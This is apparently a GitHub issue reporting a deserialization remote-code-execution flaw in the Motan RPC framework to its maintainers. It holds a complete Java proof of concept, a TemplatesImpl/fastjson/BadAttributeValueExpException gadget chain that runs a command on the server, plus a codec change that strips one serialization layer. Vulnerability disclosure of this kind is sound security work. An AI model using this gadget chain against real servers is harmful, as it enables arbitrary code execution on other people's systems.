Skip to content

Remote Code Execution (RCE) Due to Deserialization Vulnerability in Motan #1073

@N1etzsche0

Description

@N1etzsche0

Remote Code Execution (RCE) Due to Deserialization Vulnerability in Motan

Description

I discovered a deserialization vulnerability in the Motan framework, which allows attackers to execute arbitrary code on the server (e.g., launch the calculator). The specific steps are as follows:

Reproduction Steps

1. Prepare Environment

  • Clone the Motan source code, naming the directories motan-server and motan-client.
    1280X1280
  • In motan-server, start MotanBenchmarkServer without any code modifications.
    1280X1280 (1)
  • In motan-client, modify motan-core and override motan-benchmark-client.

2. Specific Steps

The overridden motan-benchmark-client code is as follows:

package com.weibo.motan.benchmark;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        ApplicationContext applicationContext = new ClassPathXmlApplicationContext(
                new String[]{"classpath*:motan-benchmark-client.xml"});
        BenchmarkService service = (BenchmarkService) applicationContext.getBean("motanBenchmarkReferer");

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(templatesImpl, badAttributeValueExpException);

        service.echoService(hashMap);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

Modify motan-core serialization logic to change the double-layer serialization into a single layer.
Before:

public abstract class AbstractCodec implements Codec {
    protected static ConcurrentHashMap<Integer, String> serializations;


    protected void serialize(ObjectOutput output, Object message, Serialization serialize) throws IOException {
        if (message == null) {
            output.writeObject(null);
            return;
        }

        output.writeObject(serialize.serialize(message));
    }

After:

public abstract class AbstractCodec implements Codec {
    protected static ConcurrentHashMap<Integer, String> serializations;


    protected void serialize(ObjectOutput output, Object message, Serialization serialize) throws IOException {
        if (message == null) {
            output.writeObject(null);
            return;
        }

        output.writeObject(message);
    }

Vulnerability Verification

Start motan-benchmark-client and trigger the vulnerability at the decodeRequestParameter in motan-server.
2e89b1f9-17d2-4cf9-aefe-8a865819f62d
c0a150c2-bf6f-4f8a-9d79-8c530fc9e6d3

Acknowledgements

If you confirm the existence of the vulnerability, please email me a reply and set the credit as follows
Credit:

If you don't think this is a loophole, please reply to the email and tell me why
Thank you very much

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions